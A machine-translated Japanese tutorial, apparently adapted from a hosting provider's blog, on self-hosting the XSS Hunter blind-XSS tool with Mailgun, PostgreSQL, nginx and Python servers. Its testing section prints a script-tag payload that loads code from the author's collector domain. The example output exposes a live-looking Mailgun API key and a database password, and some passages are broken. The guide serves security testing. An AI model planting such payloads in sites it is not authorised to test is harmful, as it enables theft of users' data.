XSSハンターのインストール

XSS Hunterインストールに関する記事の翻訳を公開し、独自の例で手順を確認します。



ネタバレ:すべてがうまくいきます






なぜXSSハンター?



多くの読者は、https: //xsshunter.com/で登録して、xsshunterを無料で使用できることをすでに知っているでしょう一言で言えば、これは主にブラインドXSS検索に使用されるツールですそれなら、なぜこのタスクのためにあなた自身のサービスを展開するのか、あなたは尋ねます。



  1. すべてが管理されています。問題が発生した場合は、問題を確認して調査できます。
  2. 安定。あなたはサービスが機能しているかどうかを確かに知っています。いつ停止するかは自分で決めることができます。何百ものデータセットを実行する準備ができていて、サービスの所有者が突然それをオフにしたとします。それは悲しいでしょう!
  3. あなたはデータを管理しています。企業は通常、サードパーティのソリューションを使用するバグハンターを好みません。この場合、データが削除されているかどうかを確認できないためです。


ボーナス:記事のおかげで、すべてがどのように機能するかがわかります。

この記事では不十分な場合は、JetInfosystemsの同僚作業を読むことをお勧めします






使い方?



XSS Hunterの使用ガイドは、XSS HunterGitHubサイトにあります。



これは素晴らしいスタートですが、このガイドは少し時代遅れです。状況はコードベースでも同じなので、Ubuntu18.04で動作するようにいくつか変更する必要がありました。この記事では、XSSハンターを使用する方法を説明します。



最初のステップ



この時点で、私は公式ガイドを基礎として使用しています。



また、サーバーが機能し、サーバー管理の基本的な経験があることを前提としています。それにもかかわらず、私はまだもっと深くなるように努めます。お気軽にご質問ください!



必要なもの:



  • サービスをホストするVPSまたはその他の場所


VDS Timewebの例を使用して著者の指示を繰り返しました:timeweb.com/ru/services/vdsさらに記事では、隠されたスポイラーで、各段階で得たものを共有します。


  • ドメイン名(あなたが簡単に見つけて購入することができます。例えば、123


我々は持っている:timeweb.com/ru/services/domainsを


  • Wildcard-. , , . .


:





XSS Hunter



mailgun



1.ここでメールガンアカウントを登録します以下のスクリーンショットに記載されているチェックボックスをオフにすることを忘れないでください。







2.指示に従って、電子メールアドレスと電話番号を確認します。



3. [送信]タブに移動して、メールドメインを選択します。







4.画面の右上に、アラートを受信する電子メールアドレスを追加します。これは、実際の現在のアドレスである必要があります。たとえば、john.doe @ gmail.comです。



5.上記を完了したら、APIラベルで強調表示されているブロックの[選択]ボタンを押します。



6.APIキーと電子メールドメインをメモします。すぐに必要になります!



電子メールドメインは、ベースAPI URLの最後の部分です:sandboxe678



例としてVDSTimewebを使用する
: sandbox82f7e729ed934d1189bcc6bd32aaa977.







7.メールを開き、mailgunからの手紙を見つけます。



8.メール内のリンクをクリックして、メールアドレスを確認します。



(レターは、ステップ4で指定したアドレス、つまり、この場合はjohn.doe@gmail.comに送信されます)。



すべてが機能することを確認します



次のコマンドを使用してサーバーから電子メールを送信し、サービスが実行されていることを確認します。



置換:



[API_KEY]:APIキー

[API_BASE_URL]:ベースURL API

[YOUR_EMAIL]:実際の電子メール



例:john.doe@gmail.com



curl -s --user 'api:[API_KEY]' \
	https://api.mailgun.net/v3/[API_BASE_URL]/messages \
	-F from='Excited User <mailgun@[API_BASE_URL]>' \
	-F to=[YOUR_EMAIL] \
	-F subject='Hello' \
	-F text='Testing some Mailgun awesomeness!'


:サービスのEUバージョンには異なるURLがあります。Googleですばやく検索するか、メールガンアカウントを確認すると、何を変更すればよいかが正確にわかります。



Timewebエキスパートからのメモ
curl:



curl -s --user 'api:67ee2b8a922268ac335eb00262b33711-9b1bf5d3-919027d8' \https://api.mailgun.net/v3/sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org/messages \
	-F from='Excited User <mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>' \
	-F to=r.tkach@timeweb.ru \
	-F subject='' \
	-F text='   MailGun'


:



{
  "id": "<20201029124602.1.C81E1E4029FB7DC4@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>",
  "message": "Queued. Thank you."
}




アカウントをチェックして、以下の例のようなメールを受信したことを確認してください。電子メールがない場合は、次の手順に進む前にトラブルシューティングを行う必要があります。



依存関係の設定



最初に必要なパッケージをインストールします。



# install dependencies
sudo apt-get install nginx && sudo apt-get install postgresql postgresql-contrib


例としてVDSTimewebを使用する
root@372526-twosa:~#  apt-get install nginx && apt-get install postgresql postgresql-contrib




次に、XSSハンターのpostgresユーザーとデータベースを設定します。EXAMPLE_PASSWORDをより安全なパスワードに変更ます。パスワードマネージャーの使用を強くお勧めします。



sudo -i -u postgres
psql template1
CREATE USER xsshunter WITH PASSWORD 'EXAMPLE_PASSWORD';
CREATE DATABASE xsshunter;
\q
exit


例としてVDSTimewebを使用する
root@372526-twosa:~# sudo -i -u postgres
postgres@372526-twosa:~$ psql template1
psql (10.14 (Ubuntu 10.14-0ubuntu0.18.04.1))
Type "help" for help.

template1=# create user xsshunter with password '6fhQg18YFrna2LbX2EDWHfLoewy32i';
CREATE ROLE
template1=# create database xsshunter;
CREATE DATABASE
template1=# \q




サービスのインストール



まず、リポジトリのクローンを作成します。



git clone https://github.com/mandatoryprogrammer/xsshunter
cd xsshunter


例としてVDSTimewebを使用する
root@372526-twosa:~# git clone https://github.com/mandatoryprogrammer/xsshunter
root@372526-twosa:~# cd xsshunter




注意:Python2が必要です!リポジトリはPython3をサポートしていません。



構成スクリプトを実行するには、依存関係を追加する必要があります。



# install yaml support for python
sudo apt-get install pyyaml


例としてVDSTimewebを使用する
root@372526-twosa:~/xsshunter# apt install python-pip
root@372526-twosa:~/xsshunter# pip install pyyaml




このプルリクエストで実用的なソリューションを提供して くれたユーザーxYantixに感謝します



サービスのセットアップ



さあ、始めましょう!構成スクリプトを実行する準備ができました。



# generate yaml config file
./generate_config.py


例としてVDSTimewebを使用する
root@372526-twosa:~/xsshunter# ./generate_config.py




プロセスを段階的に説明します。出力の例を確認するには、以下の例を参照してください。簡単にナビゲートできるように番号を追加しました。それ以外の場合は、すべて同じに見えるはずです。



1.ドメイン名を入力します。例としてmydomain.comを使用しました。



例としてVDSTimewebを使用する
372526-twosa.tmweb.ru.



2.以前に見つけて保存したMailgunAPIキーを入力します。



3.先ほど書き留めたMailgunドメイン名を入力します。 (サンドボックスで始まるもの)。



4. [Mailgunドメイン名]なら何でもいいと思いますが、ここでは名前はあまり重要ではないので、mailgunからの標準的な名前に固執しました。 mailgun @ [Mailgunドメイン名]を使用することをお勧めします。 [Mailgunドメイン名]を自分のものに置き換えることを忘れないでください。



5.これは、ツールの乱用の疑いを人々に報告させるためです。あなたの実際のそして現在の電子メールはここに示されるべきです。例:john.doe@gmail.com



6.この記事のすべての手順を実行した場合は、xsshunterと入力するだけです。



7.データベースの作成時に選択したパスワードを入力します。上記のEXAMPLE_PASSWORDとしてリストされていますテキスト[YOUR_REALLY_SECURE_PASSWORD]をパスワードEXAMPLE_PASSWORDに置き換えます



8.手順6と同様に、このチュートリアルに従った場合は、xsshunterと入力するだけです。



おっと!セットアップが完了しました。



これらの値を変更する必要がある場合は、config.yamlファイルで直接編集できます。



__   __ _____ _____   _    _             _
\ \ / // ____/ ____| | |  | |           | |
 \ V /| (___| (___   | |__| |_   _ _ __ | |_ ___ _ __
  > <  \___ \\\\___ \  |  __  | | | | '_ \| __/ _ \ '__|
 / . \ ____) |___) | | |  | | |_| | | | | ||  __/ |
/_/ \_\_____/_____/  |_|  |_|\__,_|_| |_|\__\___|_|


	                                           Setup Utility

	(1)
   What is the base domain name you will be using?
	(ex. localhost, www.example.com)
	Domain? mydomain.com

	Great! Now let's setup your Mailgun account to send XSS alerts to.

	(2)
	Enter your API key:
	(ex. key-8da843ff65205a61374b09b81ed0fa35)
	Mailgun API key: 92740xxxxxxxxxxxxxxxxxxxxxxxxxxx-65bxxx58-8ffxxxxx

	(3)
	What is your Mailgun domain?
	(ex. example.com)
	Mailgun domain: sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(4)
   What email address is sending the payload fire emails?:
	(ex. no-reply@example.com)
	Sending email address: 
mailgun@sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(5)
   Where should abuse/contact emails go?:
	(ex. yourpersonal@gmail.com)
	Abuse/Contact email: xsshunter@mydomain.com

        (6)
	What postgres user is this service using?
	(ex. xsshunter)
	Postgres username: xsshunter

	(7)
	What is the postgres user's password?
	(ex. @!$%@^%UOFGJOEJG$)
	Postgres password: [YOUR_REALLY_SECURE_PASSWORD]

	(8)
	What is the postgres user's DB?
	(ex. xsshunter)
	Postgres DB: xsshunter

	Generating cookie secret...
	Minting new nginx configuration file...

	Setup complete! Please now copy the 'default' file to 
/etc/nginx/sites-enabled/default
	This can be done by running the following:
	sudo cp default /etc/nginx/sites-enabled/default

	Also, please ensure your wildcard SSL certificate and key are available at 
the following locations:
	/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
	/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key

	Good luck hunting for XSS!


例としてVDSTimewebを使用する
  	Setup Utility

What is the base domain name you will be using?
(ex. localhost, www.example.com)
Domain? 372526-twosa.tmweb.ru
Great! Now let's setup your Mailgun account to send XSS alerts to.

Enter your API key:
(ex. key-8da843ff65205a61374b09b81ed0fa35)
Mailgun API key: 67ee**************************-9b*******-919*****

What is your Mailgun domain?
(ex. example.com)
Mailgun domain: sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

What email address is sending the payload fire emails?:
(ex. no-reply@example.com)
Sending email address: mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

Where should abuse/contact emails go?:
(ex. yourpersonal@gmail.com)
Abuse/Contact email: r.tkach@timeweb.ru


What postgres user is this service using?
(ex. xsshunter)
Postgres username: xsshunter

What is the postgres user's password?
(ex. @!$%@^%UOFGJOEJG$)
Postgres password: [EXAMPLE_PASSWORD]

What is the postgres user's DB?
(ex. xsshunter)
Postgres DB: xsshunter

Generating cookie secret...
Minting new nginx configuration file...

Setup complete! Please now copy the 'default' file to /etc/nginx/sites-enabled/default
This can be done by running the following:
sudo cp default /etc/nginx/sites-enabled/default

Also, please ensure your wildcard SSL certificate and key are available at the following locations:
/etc/nginx/ssl/xsshunter.timeweb.ru.crt; # Wildcard SSL certificate
/etc/nginx/ssl/xsshunter.timeweb.ru.key; # Wildcard SSL key

Good luck hunting for XSS!
                                                    	-mandatory




これで、xsshunterフォルダーに2つの新しいファイルが作成されます。



  • config.yaml(APIキーと資格情報を含む)
  • デフォルト(nginx構成を含む)


NGINX構成



SSL証明書の場所を変更する



私のようにLet'sEncryptを使用している場合は、デフォルトを変更する必要があります



構成をデフォルトのLet'sEncrypt設定で機能させるには、すべてのエントリをコメントアウトする必要があります。



/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key


と置き換えます



ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem ; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot


注:



1。mydomain.comを自分のドメイン名に置き換えてください。



2.#記号の後はすべてコメントです。必要に応じて削除できます。デフォルトの



ファイルは次のようになります。



server {
    # Redirect HTTP to www
    listen 80;
    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # Redirect payloads to HTTPS
    listen 80;
    server_name *.mydomain.com;
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://$host$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
    # Redirect HTTPS to www
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # API proxy
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name *.mydomain.com;
    access_log /var/log/nginx/mydomain.com.vhost.access.log;
    error_log /var/log/nginx/mydomain.com.vhost.error.log;

    client_max_body_size 500M;

    location / {
        proxy_pass  http://localhost:8888;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
}

server {
    # Redirect api to HTTPS
    listen 80;
    server_name api.mydomain.com; # Subdomain for API server
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://api.mydomain.com$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.mydomain.com;
   location / {
       rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.mydomain.com;
   client_max_body_size 500M;
   ssl on;

   # New conf
   ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
   ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

   # Original conf
   #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
   #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key


   location / {
       proxy_pass  http://localhost:1234;
       proxy_set_header Host $host;
   }
}


例としてVDSTimewebを使用する
server {
	# Redirect HTTP to www
	listen 80;
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# Redirect payloads to HTTPS
	listen 80;
	server_name *.372526-twosa.tmweb.ru;
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://$host$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
	# Redirect HTTPS to www
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key
    
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# API proxy
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

	server_name *.372526-twosa.tmweb.ru;
	access_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.access.log;
	error_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.error.log;

	client_max_body_size 500M;

	location / {#
    	proxy_pass  http://localhost:8888;
    	proxy_set_header Host $host;
    	proxy_set_header X-Forwarded-For $remote_addr;
	}
}

server {
	# Redirect api to HTTPS
	listen 80;
	server_name api.372526-twosa.tmweb.ru; # Subdomain for API server
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://api.372526-twosa.tmweb.ru$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.372526-twosa.tmweb.ru;
   location / {
   	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.372526-twosa.tmweb.ru;
   client_max_body_size 500M;
   ssl on;
   
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

   location / {
   	proxy_pass  http://localhost:1234;
   	proxy_set_header Host $host;
   }
}




NGINX構成を適用してみましょう



次のステップは、ファイルをnginxフォルダーに移動することです。... / sites-availableフォルダーに構成ファイルを配置してから、... / sites-enabledに使用している構成へのシンボリックリンクを作成することをお勧めします私たちはまさにそれをします。



構成ファイルに名前を付けて、それが属するサービスの名前から明確になるようにします。



これがその方法です!



# move file and give proper name
cp xsshunter/default /etc/nginx/sites-available/xsshunter-mydomain.com

# symlink the file to sites-enabled to make it active
ln -s /etc/nginx/sites-available/xsshunter-mydomain.com 
/etc/nginx/sites-enabled/xsshunter-mydomain.com

# test for errors in the configuration
sudo nginx -t

# if no errors, restart nginx for changes to take effect
sudo systemctl restart nginx


例としてVDSTimewebを使用する
root@372526-twosa:~/xsshunter# cp default /etc/nginx/sites-available/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# ln /etc/nginx/sites-available/372526-twosa.tmweb.ru /etc/nginx/sites-enabled/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# nginx -t
root@372526-twosa:~/xsshunter# systemctl restart nginx




これまでnginxを開始したことがない場合、最後のコマンドは次のようになります。



sudo systemctl start nginx


APIサーバーのインストール



まず、APIサーバーには特定の依存関係も必要です。



マニュアルには、次のコマンドを実行するように書かれています。



sudo apt-get install python-virtualenv python-dev libpq-dev libffi-dev


例としてVDSTimewebを使用する
root@372526-twosa:~/xsshunter# apt-get install python-virtualenv python-dev libpq-dev libffi-dev


, python-virtualenv pip.




再試行!



残念ながら、virtualenvコマンドを実行できなかったため、APIサーバーを次のようにインストールしました。



pip install virtualenv


問題は解決しました、私は続けることができました!

目的のディレクトリに移動しましょう。

適切なディレクトリに移動したら、仮想環境を作成する必要があります。

方法は次のとおりです。



# change folder - you know that already!
cd xsshunter/api

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env


例としてVDSTimewebを使用する
root@372526-twosa:~/xsshunter# cd xsshunter/api
root@372526-twosa:~/xsshunter/api# which python2
/usr/bin/python2
root@372526-twosa:~/xsshunter/api# virtualenv -p /usr/bin/python2 env
Running virtualenv with interpreter /usr/bin/python2
New python executable in /root/xsshunter/api/env/bin/python2
Also creating executable in /root/xsshunter/api/env/bin/python
Installing setuptools, pkg_resources, pip, wheel...done.




最後のコマンドのMY / EXECUTABLE / PATHpython2コマンドの出力に 変更してください私にとってこれは:/ usr / bin / python2です。



仮想環境を作成したら、次のコマンドを使用して仮想環境をアクティブ化します。コマンドラインの変更に気付くはずです。



# activate environment
. env/bin/activate


例としてVDSTimewebを使用する
root@372526-twosa:~/xsshunter/api# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/api# ls
apiserver.py  env  logs  models  probe.js  requirements.txt  templates








リポジトリがアクティブに維持されていないため、依存関係の問題もあります。



したがって、我々は、ファイルを次のように変更する必要がありrequirements.txt



1. psycopg2 2.6.1 == => psycopg2 == 2.7.3.1

2. bcryptの2.0.0 == => bcryptの== 3.1.7を



お好みのテキストエディタを使用しますこのため。私はVIMを使用しています。



それが完了したら、すべての依存関係をインストールし、APIサーバーを起動して、すべてが期待どおりに機能していることを確認します。やってみよう!



# install requirements
pip install -r requirements.txt

# run the API server
./apiserver.py


例としてVDSTimewebを使用する
(env) root@372526-twosa:~/xsshunter/api# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/api# ./apiserver.py




installコマンドはデータを出力する必要があります。 apiサーバーは何も出力しないはずです。撤退は良いニュースではありません!



apiサーバーの構成を完了する前に、もう1つ変更を加えたいと思います。最初はインターフェイス0.0.0.0でリッスンしますが、NGINXを介してプロキシしました。これは意味がないことを意味します。localhostでリッスンするようにサーバーを構成します。これにより、混乱や問題を回避できます。



テキストエディタを使用して、apiserver.pyの684行

app.listen(8888)からapp.listen(8888、 "localhost")に変更します。このプルリクエストでソリューションを共有して



くれたswarley7感謝します。



最後に:/ uploadsフォルダーが存在しない場合、アップロードが期待どおりに機能しないバグ。これは、このプルリクエストでsampsoncによって共有されます。 フォルダを作成して続行しましょう!







# create uploads folder
mkdir xsshunter/api/uploads


GUIサーバーのインストール



このプロセスは、apiサーバーのプロセスと非常に似ていますが、より単純です。



guiフォルダーに移動し、仮想環境を作成してアクティブ化し、依存関係をインストールします。



# change folder - you know that already!
cd xsshunter/gui

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env

# activate environment
. env/bin/activate

# install requirements
pip install -r requirements.txt

# run the GUI server
./guiserver.py


例としてVDSTimewebを使用する
root@372526-twosa:~/xsshunter# cd xsshunter/gui
root@372526-twosa:~/xsshunter/gui# which python2
/usr/bin/python2
(env) root@372526-twosa:~/xsshunter/gui# virtualenv -p /usr/bin/python2 env
(env) root@372526-twosa:~/xsshunter/gui# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/gui# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/gui# ./guiserver.py




繰り返しますが、APIサーバーをインストールする場合と同じです。最後のコマンドのMY / EXECUTABLE / PATHwhatpython2に



変更してください。私にとってこれは:/ usr / bin / python2です。 ここでも、/ guiserverを実行したときに出力が不足することは朗報です。 また、APIサーバーの場合と同様に、NGINXを介してすべての接続をプロキシするため、サーバーはインターフェイス0.0.0.0でリッスンする必要はありません テキストエディタを使用して、guiserver.pyの70行app.listen(1234)からapp.listen(1234、 "localhost")に変更します。

















最後の仕上げ



最初のステップは、両方のサーバーを起動することです。元のブログ投稿では、tmuxの使用が提案されています。プロダクションには完璧ではありませんが、私たちはハッカーなので、とにかくやってみましょう!より安定したサービスが必要な場合は、演習としてお任せします。



tmuxで起動して実行する方法は次のとおりです。ヘルプが必要な場合は、ここに素晴らしいチートシートがあります



# start a session
tmux session -new xsshunter

# change to api directory
cd xsshunter/api

#run api server
./apiserver

# open new pane
[ctrl]+[b] -> [c]

# change to gui directory
cd xsshunter/gui

# run gui server
./guiserver

# detach from session
[ctrl]+[b] -> [d]

# extra: if you want to open the session again
tmux attach-session -t xsshunter


そして最後のもの!



ドメインを開いて、xsshunterページが表示されるかどうかを確認してください。xsshunter.comの

最初のページと同じように見えるはずです 起こりました?おめでとう! グラスでビールを注ぐ時が来ました!













パフォーマンスを確認する
(https://www.372526-twosa.tmweb.ru/signup) .







www.372526-twosa.tmweb.ru/app Payload - . :



"><script src=https://tw.372526-twosa.tmweb.ru></script>


html- .







: js , , js_callback .







XSS Hunter:







:







It works! !



: www.372526-twosa.tmweb.ru.



Entourageをまだご覧になっていない場合は、今すぐ始めることができます。



結論



rootまたは通常のユーザーとして何かを実行するのは好きではないので、www-dataとして実行するために、少し簡単にするために次のスクリプトを作成しました。apiserver.pyguiserver.pyに



置き換えて、サーバーごとに1つのスクリプトを作成します。このテクニックを使っていただければ幸いです。 仮想環境を使用してAPIサーバーを起動するためのシェルスクリプト:







#!/bin/sh
. env/bin/activate && python apiserver.py


セキュリティ上の理由から、スクリプトをwww-dataとして実行します。



# execute script above as www-data user
sudo -u www-data ./run.sh


完了しました。



ご清聴ありがとうございました。お役に立てば幸いです。



All Articles